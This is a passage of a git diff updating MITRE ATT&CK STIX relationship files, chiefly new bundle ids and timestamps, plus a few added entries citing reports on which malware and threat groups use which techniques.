+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can gather system information from a victim.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d.json b/enterprise-attack/relationship/relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d.json
index 08110af529..5fdc14643e 100644
--- a/enterprise-attack/relationship/relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d.json
+++ b/enterprise-attack/relationship/relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f7c10580-0ce9-4b84-b73d-83ef82e40a30",
+    "id": "bundle--13ff8181-56c8-4346-8b8d-9cf92ed40feb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has a command to list its directory and logical drives.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--35a9c64c-c305-46bf-a216-c8bb1b051614.json b/enterprise-attack/relationship/relationship--35a9c64c-c305-46bf-a216-c8bb1b051614.json
index 7c098ed97b..f9019cb4b6 100644
--- a/enterprise-attack/relationship/relationship--35a9c64c-c305-46bf-a216-c8bb1b051614.json
+++ b/enterprise-attack/relationship/relationship--35a9c64c-c305-46bf-a216-c8bb1b051614.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c418942-7dac-4abe-bdc2-1877d418b3cc",
+    "id": "bundle--cb46ea06-4609-46db-9097-588111fc8383",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
diff --git a/enterprise-attack/relationship/relationship--35aac341-5371-42e8-ad93-3ab94a11b51a.json b/enterprise-attack/relationship/relationship--35aac341-5371-42e8-ad93-3ab94a11b51a.json
index 49492b6a7a..e6e5632d28 100644
--- a/enterprise-attack/relationship/relationship--35aac341-5371-42e8-ad93-3ab94a11b51a.json
+++ b/enterprise-attack/relationship/relationship--35aac341-5371-42e8-ad93-3ab94a11b51a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e37c894d-d6b2-4b76-ba34-bb47983cd333",
+    "id": "bundle--086d8d91-c74e-4d22-abdc-e7a52d5f5aa5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35aac341-5371-42e8-ad93-3ab94a11b51a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--35ac37f9-7484-4fe4-8b5e-9381600ee01b.json b/enterprise-attack/relationship/relationship--35ac37f9-7484-4fe4-8b5e-9381600ee01b.json
new file mode 100644
index 0000000000..ba1547e09e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--35ac37f9-7484-4fe4-8b5e-9381600ee01b.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--bf983d12-1bab-46a8-a3c0-2240e0269022",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--35ac37f9-7484-4fe4-8b5e-9381600ee01b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--35ae6625-8563-493c-8950-1230bd0fd122.json b/enterprise-attack/relationship/relationship--35ae6625-8563-493c-8950-1230bd0fd122.json
index 8d5552edd2..47944196d5 100644
--- a/enterprise-attack/relationship/relationship--35ae6625-8563-493c-8950-1230bd0fd122.json
+++ b/enterprise-attack/relationship/relationship--35ae6625-8563-493c-8950-1230bd0fd122.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0717d8c6-61ee-48ee-8fc6-ca6e9bb8aa4e",
+    "id": "bundle--c2c83adb-c29b-4216-8fff-484f81065eb2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35ae6625-8563-493c-8950-1230bd0fd122",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can download and execute additional files.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e.json b/enterprise-attack/relationship/relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e.json
new file mode 100644
index 0000000000..a3b2f1c066
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--191d6d0f-e8de-4b20-a16e-9757d89706af",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has communicated with its C2 server over ports 4443 and 3543.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0.json b/enterprise-attack/relationship/relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0.json
index 7dc2efabad..344b1a40d0 100644
--- a/enterprise-attack/relationship/relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0.json
+++ b/enterprise-attack/relationship/relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a5debc0-c15c-479d-99d6-d69ef50a0be2",
+    "id": "bundle--8cd17232-cb44-4445-a4c6-d32a88f2691a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains functionality to collect information from the clipboard.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--35d35ecf-1326-4690-b105-23280e29c120.json b/enterprise-attack/relationship/relationship--35d35ecf-1326-4690-b105-23280e29c120.json
index 89df3463e6..5b6b01eba5 100644
--- a/enterprise-attack/relationship/relationship--35d35ecf-1326-4690-b105-23280e29c120.json
+++ b/enterprise-attack/relationship/relationship--35d35ecf-1326-4690-b105-23280e29c120.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a14425fd-4462-4820-8265-22b5a3e4cbdb",
+    "id": "bundle--deab712d-a15b-44e8-ab6b-ccf458056ac4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35d35ecf-1326-4690-b105-23280e29c120",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL C2 messages are Base64-encoded.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--35ec37ba-44aa-49b1-9379-3f6070554c62.json b/enterprise-attack/relationship/relationship--35ec37ba-44aa-49b1-9379-3f6070554c62.json
index 0bc85c5b5a..12a39cd221 100644
--- a/enterprise-attack/relationship/relationship--35ec37ba-44aa-49b1-9379-3f6070554c62.json
+++ b/enterprise-attack/relationship/relationship--35ec37ba-44aa-49b1-9379-3f6070554c62.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b0c64428-3768-45fd-8de9-15e584d828d0",
+    "id": "bundle--1688c7c9-1b24-4fd2-8a6c-02de17cbad21",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35ec37ba-44aa-49b1-9379-3f6070554c62",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
diff --git a/enterprise-attack/relationship/relationship--35f02c40-d46f-44fa-8ba2-5106357494b4.json b/enterprise-attack/relationship/relationship--35f02c40-d46f-44fa-8ba2-5106357494b4.json
new file mode 100644
index 0000000000..5560fc62a6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--35f02c40-d46f-44fa-8ba2-5106357494b4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0ca12b4f-c659-40b8-b9eb-3b6f1446a7df",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--35f02c40-d46f-44fa-8ba2-5106357494b4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses fake Transport Layer Security (TLS) to communicate with its C2 server, encoding data with RC4 encryption.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--36112f24-7814-4c75-b5b7-a1205bb28b68.json b/enterprise-attack/relationship/relationship--36112f24-7814-4c75-b5b7-a1205bb28b68.json
index e6d671145a..d66a3ad791 100644
--- a/enterprise-attack/relationship/relationship--36112f24-7814-4c75-b5b7-a1205bb28b68.json
+++ b/enterprise-attack/relationship/relationship--36112f24-7814-4c75-b5b7-a1205bb28b68.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5e074930-2fda-4c77-ad8f-59962fcae520",
+    "id": "bundle--3dadbd59-50d6-447a-a21a-1ca66b4ec1ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--36112f24-7814-4c75-b5b7-a1205bb28b68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
diff --git a/enterprise-attack/relationship/relationship--361cbd71-b178-44d0-9802-78a310938bad.json b/enterprise-attack/relationship/relationship--361cbd71-b178-44d0-9802-78a310938bad.json
index 9efafd6577..5a74175fa3 100644
--- a/enterprise-attack/relationship/relationship--361cbd71-b178-44d0-9802-78a310938bad.json
+++ b/enterprise-attack/relationship/relationship--361cbd71-b178-44d0-9802-78a310938bad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--031e52b7-a281-4566-bc19-02000507bb91",
+    "id": "bundle--dc7bc3f5-bfdf-4d69-bebb-8d0e433ce4ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--361cbd71-b178-44d0-9802-78a310938bad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats has used forged Microsoft code-signing certificates on malware.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
diff --git a/enterprise-attack/relationship/relationship--3643f451-322d-4f38-91a4-00a55a42c7f5.json b/enterprise-attack/relationship/relationship--3643f451-322d-4f38-91a4-00a55a42c7f5.json
index 67d965dab5..1e07d65894 100644
--- a/enterprise-attack/relationship/relationship--3643f451-322d-4f38-91a4-00a55a42c7f5.json
+++ b/enterprise-attack/relationship/relationship--3643f451-322d-4f38-91a4-00a55a42c7f5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--feb4adbd-acfc-4d7a-8f03-ca7dbc7576ad",
+    "id": "bundle--3b4d44c2-19cc-42c0-a6ff-a45795586569",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3643f451-322d-4f38-91a4-00a55a42c7f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
diff --git a/enterprise-attack/relationship/relationship--366214ea-29b0-458a-a852-7a76420783d2.json b/enterprise-attack/relationship/relationship--366214ea-29b0-458a-a852-7a76420783d2.json
index b2cd37a531..1745efe036 100644
--- a/enterprise-attack/relationship/relationship--366214ea-29b0-458a-a852-7a76420783d2.json
+++ b/enterprise-attack/relationship/relationship--366214ea-29b0-458a-a852-7a76420783d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--27526ec8-a6de-41af-89f5-f4f1d43029e1",
+    "id": "bundle--4e06bee1-2412-4307-be1b-fe7ce786db11",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--366214ea-29b0-458a-a852-7a76420783d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55",
             "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
diff --git a/enterprise-attack/relationship/relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54.json b/enterprise-attack/relationship/relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54.json
index 5504dd0692..780051d00d 100644
--- a/enterprise-attack/relationship/relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54.json
+++ b/enterprise-attack/relationship/relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f64777cf-f67a-4760-aa57-b65e66ed10ea",
+    "id": "bundle--19f19a9b-609a-44e2-a65c-87c9d99a08aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931",
             "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
diff --git a/enterprise-attack/relationship/relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9.json b/enterprise-attack/relationship/relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9.json
index 930e42eb19..7d0189c750 100644
--- a/enterprise-attack/relationship/relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9.json
+++ b/enterprise-attack/relationship/relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bfa76ffc-8e12-434a-be73-5681df31148a",
+    "id": "bundle--c3c7937b-532c-4774-88d6-4f4e5834a893",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have used gsecdump and a modified version of Mimikatz called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--371d43af-ef68-4471-9db9-f2d40d2baefc.json b/enterprise-attack/relationship/relationship--371d43af-ef68-4471-9db9-f2d40d2baefc.json
index 3cfbb7590c..dad46c3797 100644
--- a/enterprise-attack/relationship/relationship--371d43af-ef68-4471-9db9-f2d40d2baefc.json
+++ b/enterprise-attack/relationship/relationship--371d43af-ef68-4471-9db9-f2d40d2baefc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82d3ade9-d0b8-427a-84bd-ce8565cfd96c",
+    "id": "bundle--6f728e77-3d2b-42e6-9bc9-1b09c428e4bd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--371d43af-ef68-4471-9db9-f2d40d2baefc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
             "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
diff --git a/enterprise-attack/relationship/relationship--37781434-3f1e-4f45-af34-b2378647c13a.json b/enterprise-attack/relationship/relationship--37781434-3f1e-4f45-af34-b2378647c13a.json
index 3e1a9ae507..6414a252df 100644
--- a/enterprise-attack/relationship/relationship--37781434-3f1e-4f45-af34-b2378647c13a.json
+++ b/enterprise-attack/relationship/relationship--37781434-3f1e-4f45-af34-b2378647c13a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cb0431bf-05b1-4ae8-a513-9ee775b2bc2c",
+    "id": "bundle--c988fb91-30f7-430f-8190-faf2d7d75ceb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37781434-3f1e-4f45-af34-b2378647c13a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018",
             "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
diff --git a/enterprise-attack/relationship/relationship--37804b22-63b4-4b24-846e-6541688d9213.json b/enterprise-attack/relationship/relationship--37804b22-63b4-4b24-846e-6541688d9213.json
index c27da86a8b..393aa6fafb 100644
--- a/enterprise-attack/relationship/relationship--37804b22-63b4-4b24-846e-6541688d9213.json
+++ b/enterprise-attack/relationship/relationship--37804b22-63b4-4b24-846e-6541688d9213.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8399bf0-f723-4329-8d6b-3697a9d85c59",
+    "id": "bundle--207b034e-460b-4b43-be82-f7dc4c2293e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37804b22-63b4-4b24-846e-6541688d9213",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has a command to timestop a file or directory.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7.json b/enterprise-attack/relationship/relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7.json
new file mode 100644
index 0000000000..1480ef3df8
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7.json
@@ -0,0 +1,36 @@
+{
+    "type": "bundle",
+    "id": "bundle--945eb09e-a6a3-4f74-ba68-668a7cbf661e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "New services created by RawPOS are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".",
+            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d.json b/enterprise-attack/relationship/relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d.json
index 294257dbac..78575c36f3 100644
--- a/enterprise-attack/relationship/relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d.json
+++ b/enterprise-attack/relationship/relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e31b4f8e-0e02-4f18-a890-a077fd29dff6",
+    "id": "bundle--5ee63b16-a30d-4317-ab0b-90274cf70732",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1.json b/enterprise-attack/relationship/relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1.json
index d7129e3bed..a27f7c8332 100644
--- a/enterprise-attack/relationship/relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1.json
+++ b/enterprise-attack/relationship/relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76959738-4685-4fc0-95b1-1f64aaede1df",
+    "id": "bundle--2b2a30ed-f8ce-4056-a7ed-daaed57ece52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke steals credentials from its victims.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
diff --git a/enterprise-attack/relationship/relationship--37ba7858-8765-4445-a65e-d2765b673b34.json b/enterprise-attack/relationship/relationship--37ba7858-8765-4445-a65e-d2765b673b34.json
index 24ce57080e..2bd2306a0f 100644
--- a/enterprise-attack/relationship/relationship--37ba7858-8765-4445-a65e-d2765b673b34.json
+++ b/enterprise-attack/relationship/relationship--37ba7858-8765-4445-a65e-d2765b673b34.json
